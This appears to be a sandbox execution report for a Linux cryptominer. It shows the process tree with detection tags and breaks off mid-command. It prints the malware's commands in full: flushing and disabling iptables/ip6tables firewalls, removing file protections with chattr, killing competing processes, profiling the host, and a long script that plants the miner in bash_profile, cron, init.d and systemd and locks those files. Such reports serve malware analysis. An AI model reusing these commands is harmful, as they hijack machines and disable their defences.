/sbin/iptablesiptables -Z ufw-skip-to-policy-forward4⤵PID:1568
-
-
/sbin/iptablesiptables -Z ufw-reject-forward4⤵PID:1569
-
-
/sbin/iptablesiptables -Z ufw-after-logging-forward4⤵PID:1570
-
-
/sbin/iptablesiptables -Z ufw-after-forward4⤵PID:1571
-
-
/sbin/iptablesiptables -Z ufw-user-logging-forward4⤵PID:1572
-
-
/sbin/iptablesiptables -Z ufw-user-forward4⤵PID:1573
-
-
/sbin/iptablesiptables -Z ufw-before-forward4⤵PID:1574
-
-
/sbin/iptablesiptables -Z ufw-before-logging-forward4⤵PID:1575
-
-
/sbin/iptablesiptables -Z ufw-track-forward4⤵PID:1576
-
-
/sbin/iptablesiptables -Z ufw-track-output4⤵PID:1577
-
-
/sbin/iptablesiptables -Z ufw-track-input4⤵PID:1578
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-output4⤵PID:1579
-
-
/sbin/iptablesiptables -Z ufw-reject-output4⤵PID:1580
-
-
/sbin/iptablesiptables -Z ufw-after-logging-output4⤵PID:1581
-
-
/sbin/iptablesiptables -Z ufw-after-output4⤵PID:1582
-
-
/sbin/iptablesiptables -Z ufw-user-logging-output4⤵PID:1583
-
-
/sbin/iptablesiptables -Z ufw-user-output4⤵PID:1584
-
-
/sbin/iptablesiptables -Z ufw-before-output4⤵PID:1585
-
-
/sbin/iptablesiptables -Z ufw-before-logging-output4⤵PID:1586
-
-
/sbin/iptablesiptables -X ufw-logging-deny4⤵PID:1587
-
-
/sbin/iptablesiptables -X ufw-logging-allow4⤵PID:1588
-
-
/sbin/iptablesiptables -X ufw-not-local4⤵PID:1589
-
-
/sbin/iptablesiptables -X ufw-user-logging-input4⤵PID:1590
-
-
/sbin/iptablesiptables -X ufw-user-logging-output4⤵PID:1591
-
-
/sbin/iptablesiptables -X ufw-user-logging-forward4⤵PID:1592
-
-
/sbin/iptablesiptables -X ufw-user-limit-accept4⤵PID:1593
-
-
/sbin/iptablesiptables -X ufw-user-limit4⤵PID:1594
-
-
/sbin/iptablesiptables -X ufw-user-input4⤵PID:1595
-
-
/sbin/iptablesiptables -X ufw-user-forward4⤵PID:1596
-
-
/sbin/iptablesiptables -X ufw-user-output4⤵PID:1597
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-input4⤵PID:1598
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-output4⤵PID:1599
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-forward4⤵PID:1600
-
-
/sbin/iptablesiptables -P INPUT ACCEPT4⤵PID:1601
-
-
/sbin/iptablesiptables -P OUTPUT ACCEPT4⤵PID:1602
-
-
/sbin/iptablesiptables -P FORWARD ACCEPT4⤵PID:1603
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-deny4⤵PID:1604
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-allow4⤵PID:1605
-
-
/sbin/ip6tablesip6tables -F ufw6-not-local4⤵PID:1606
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-input4⤵PID:1607
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit-accept4⤵PID:1608
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit4⤵PID:1609
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-input4⤵PID:1610
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-input4⤵PID:1611
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-input4⤵PID:1612
-
-
/sbin/ip6tablesip6tables -F ufw6-after-input4⤵PID:1613
-
-
/sbin/ip6tablesip6tables -F ufw6-user-input4⤵PID:1614
-
-
/sbin/ip6tablesip6tables -F ufw6-before-input4⤵PID:1615
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-input4⤵PID:1616
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-forward4⤵PID:1617
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-forward4⤵PID:1618
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-forward4⤵PID:1619
-
-
/sbin/ip6tablesip6tables -F ufw6-after-forward4⤵PID:1620
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-forward4⤵PID:1621
-
-
/sbin/ip6tablesip6tables -F ufw6-user-forward4⤵PID:1622
-
-
/sbin/ip6tablesip6tables -F ufw6-before-forward4⤵PID:1623
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-forward4⤵PID:1624
-
-
/sbin/ip6tablesip6tables -F ufw6-track-forward4⤵PID:1625
-
-
/sbin/ip6tablesip6tables -F ufw6-track-output4⤵PID:1626
-
-
/sbin/ip6tablesip6tables -F ufw6-track-input4⤵PID:1627
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-output4⤵PID:1628
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-output4⤵PID:1629
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-output4⤵PID:1630
-
-
/sbin/ip6tablesip6tables -F ufw6-after-output4⤵PID:1631
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-output4⤵PID:1632
-
-
/sbin/ip6tablesip6tables -F ufw6-user-output4⤵PID:1633
-
-
/sbin/ip6tablesip6tables -F ufw6-before-output4⤵PID:1634
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-output4⤵PID:1635
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-deny4⤵PID:1636
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-allow4⤵PID:1637
-
-
/sbin/ip6tablesip6tables -Z ufw6-not-local4⤵PID:1638
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-input4⤵PID:1639
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit-accept4⤵PID:1640
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit4⤵PID:1641
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-input4⤵PID:1642
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-input4⤵PID:1643
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-input4⤵PID:1644
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-input4⤵PID:1645
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-input4⤵PID:1646
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-input4⤵PID:1647
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-input4⤵PID:1648
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-forward4⤵PID:1649
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-forward4⤵PID:1650
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-forward4⤵PID:1651
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-forward4⤵PID:1652
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-forward4⤵PID:1653
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-forward4⤵PID:1654
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-forward4⤵PID:1655
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-forward4⤵PID:1656
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-forward4⤵PID:1657
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-output4⤵PID:1658
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-input4⤵PID:1659
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-output4⤵PID:1660
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-output4⤵PID:1661
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-output4⤵PID:1662
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-output4⤵PID:1663
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-output4⤵PID:1664
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-output4⤵PID:1665
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-output4⤵PID:1666
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-output4⤵PID:1667
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-deny4⤵PID:1668
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-allow4⤵PID:1669
-
-
/sbin/ip6tablesip6tables -X ufw6-not-local4⤵PID:1670
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-input4⤵PID:1671
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-output4⤵PID:1672
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-forward4⤵PID:1673
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit-accept4⤵PID:1674
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit4⤵PID:1677
-
-
/sbin/ip6tablesip6tables -X ufw6-user-input4⤵PID:1678
-
-
/sbin/ip6tablesip6tables -X ufw6-user-forward4⤵PID:1679
-
-
/sbin/ip6tablesip6tables -X ufw6-user-output4⤵PID:1680
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-input4⤵PID:1681
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-output4⤵PID:1682
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-forward4⤵PID:1683
-
-
/sbin/ip6tablesip6tables -P INPUT ACCEPT4⤵PID:1684
-
-
/sbin/ip6tablesip6tables -P OUTPUT ACCEPT4⤵PID:1685
-
-
/sbin/ip6tablesip6tables -P FORWARD ACCEPT4⤵PID:1686
-
-
-
-
/bin/bashbash -c "iptables -P INPUT ACCEPT"2⤵
- System Network Configuration Discovery
PID:1687
-
-
/sbin/iptablesiptables -P INPUT ACCEPT2⤵PID:1687
-
-
/bin/bashbash -c "iptables -P OUTPUT ACCEPT"2⤵
- System Network Configuration Discovery
PID:1688
-
-
/sbin/iptablesiptables -P OUTPUT ACCEPT2⤵PID:1688
-
-
/bin/bashbash -c "iptables -P FORWARD ACCEPT"2⤵
- System Network Configuration Discovery
PID:1689
-
-
/sbin/iptablesiptables -P FORWARD ACCEPT2⤵PID:1689
-
-
/bin/bashbash -c "iptables -F"2⤵
- System Network Configuration Discovery
PID:1690
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:1690
-
-
/bin/bashbash -c "chattr -ia /etc/ld.so.preload"2⤵PID:1692
-
-
/usr/bin/chattrchattr -ia /etc/ld.so.preload2⤵
- Attempts to change immutable files
PID:1692
-
-
/usr/bin/lsoflsof -t -i :4442⤵
- Attempts to change immutable files
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1693
-
-
/usr/bin/lsoflsof -t -i :594752⤵
- Attempts to change immutable files
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1694
-
-
/usr/bin/pgreppgrep -f ksysrvthread2⤵
- Reads CPU attributes
PID:1695
-
-
/usr/bin/pgreppgrep -f sysrv2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1696
-
-
/usr/bin/pgreppgrep -f klibsystem42⤵
- Reads CPU attributes
- Reads runtime system information
PID:1697
-
-
/usr/bin/pgreppgrep -f klibsystem52⤵
- Reads CPU attributes
- Reads runtime system information
PID:1698
-
-
/usr/bin/chattrchattr +ia /etc/init.d/dpkg-deb-package2⤵
- Attempts to change immutable files
PID:1699
-
-
/tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107/tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:1701 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
PID:1713 -
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
PID:1716
-
-
/bin/hostnamehostname -i4⤵
- Attempts to change immutable files
PID:1715
-
-
/usr/bin/awkawk "{print \$1}"4⤵PID:1722
-
-
/usr/bin/awkawk "{print \"-\"\$2}"4⤵PID:1730
-
-
/bin/grepgrep "Port "4⤵PID:1728
-
-
/bin/catcat /etc/ssh/sshd_config4⤵PID:1727
-
-
/usr/bin/headhead -n 14⤵PID:1729
-
-
/usr/bin/whoamiwhoami4⤵PID:1731
-
-
/bin/hostnamehostname4⤵PID:1732
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:1733
-
-
/bin/sedsed -e "s/\$//"4⤵PID:1739
-
-
/bin/sedsed -e "s/^ *//"4⤵PID:1738
-
-
/usr/bin/cutcut -d: -f24⤵PID:1737
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:1736
-
-
/usr/bin/awkawk "{print \$1}"4⤵PID:1743
-
-
/usr/bin/awkawk "{print \$4}"4⤵PID:1748
-
-
/usr/bin/awkawk "{print \$4}"4⤵PID:1751
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:1752
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:1754
-
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1753
-
-
/usr/bin/idid -u4⤵PID:1760
-
-
/bin/grepgrep -v grep4⤵PID:1764
-
-
/bin/grepgrep /etc/cron4⤵PID:1763
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1762
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
- Security Software Discovery
PID:1769 -
/usr/bin/idid -u4⤵
- Reads runtime system information
PID:1770
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵PID:1775
-
-
/bin/grepgrep -v /usr/sbin/httpd4⤵PID:1774
-
-
/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵PID:1773
-
-
/bin/grepgrep -v grep4⤵PID:1772
-
-
/bin/psps aux4⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1771
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵
- Security Software Discovery
PID:1777 -
/usr/bin/idid -u4⤵PID:1778
-
-
/usr/bin/wcwc -l4⤵PID:1784
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵PID:1783
-
-
/bin/grepgrep -- "-bash[[:space:]]*\$"4⤵PID:1782
-
-
/bin/grepgrep -v grep4⤵PID:1781
-
-
/bin/psps aux4⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1780
-
-
-
/bin/shsh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"3⤵PID:1791
-
/sbin/modprobe/sbin/modprobe msr "allow_writes=on"4⤵
- Loads a kernel module
PID:1792
-
-
-
-
/etc/init.d/dpkg-deb-package/etc/init.d/dpkg-deb-package start2⤵
- Executes dropped EXE
PID:1702 -
/bin/cpcp -f -r -- /bin/dpkg-debian /bin/dpkg-deb-package3⤵PID:1703
-
-
/bin/rmrm -rf -- dpkg-deb-package3⤵PID:1705
-
-
-
/usr/bin/chattrchattr +ia /etc/systemd/system/dpkg-deb-package.service2⤵
- Attempts to change immutable files
PID:1706
-
-
/bin/systemctlsystemctl daemon-reload2⤵PID:1707
-
-
/usr/bin/chattrchattr +ia /bin/dpkg-debian2⤵
- Attempts to change immutable files
PID:1711
-
-
/usr/bin/crontabcrontab -r2⤵PID:1712
-
-
/usr/bin/pkillpkill -f .klibsystem42⤵
- Reads CPU attributes
- Reads runtime system information
PID:1717
-
-
/bin/bashbash -c "echo \"5 * * * * nohup /tmp/.klibsystem5 >/dev/null 2>&1 &\" | crontab -"2⤵PID:1740
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1745
-
-
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib42⤵
- Attempts to change immutable files
PID:1756
-
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib42⤵
- Attempts to change immutable files
PID:1757
-
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib42⤵
- Attempts to change immutable files
PID:1758
-
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib42⤵
- Attempts to change immutable files
PID:1759
-
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib42⤵
- Attempts to change immutable files
PID:1761
-
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib42⤵
- Attempts to change immutable files
PID:1766
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab2⤵
- Attempts to change immutable files
PID:1767
-
-
/usr/bin/chattrchattr +ia /etc/anacrontab2⤵
- Attempts to change immutable files
PID:1768
-
-
/tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107/tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1797 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
PID:1798 -
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
PID:1801
-
-
/bin/hostnamehostname -i4⤵
- Attempts to change immutable files
PID:1800
-
-
/usr/bin/awkawk "{print \$1}"4⤵PID:1806
-
-
/usr/bin/headhead -n 14⤵PID:1810
-
-
/usr/bin/awkawk "{print \"-\"\$2}"4⤵PID:1811
-
-
/bin/grepgrep "Port "4⤵PID:1809
-
-
/bin/catcat /etc/ssh/sshd_config4⤵PID:1808
-
-
/usr/bin/whoamiwhoami4⤵PID:1812
-
-
/bin/hostnamehostname4⤵PID:1813
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:1814
-
-
/bin/sedsed -e "s/\$//"4⤵PID:1820
-
-
/usr/bin/cutcut -d: -f24⤵PID:1818
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:1817
-
-
/bin/sedsed -e "s/^ *//"4⤵PID:1819
-
-
/usr/bin/awkawk "{print \$1}"4⤵PID:1823
-
-
/usr/bin/awkawk "{print \$4}"4⤵PID:1826
-
-
/usr/bin/awkawk "{print \$4}"4⤵PID:1829
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:1832
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:1835
-
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1834
-
-
/usr/bin/idid -u4⤵PID:1837
-
-
/bin/grepgrep -v grep4⤵PID:1840
-
-
/bin/grepgrep /etc/cron4⤵PID:1839
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1838
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD 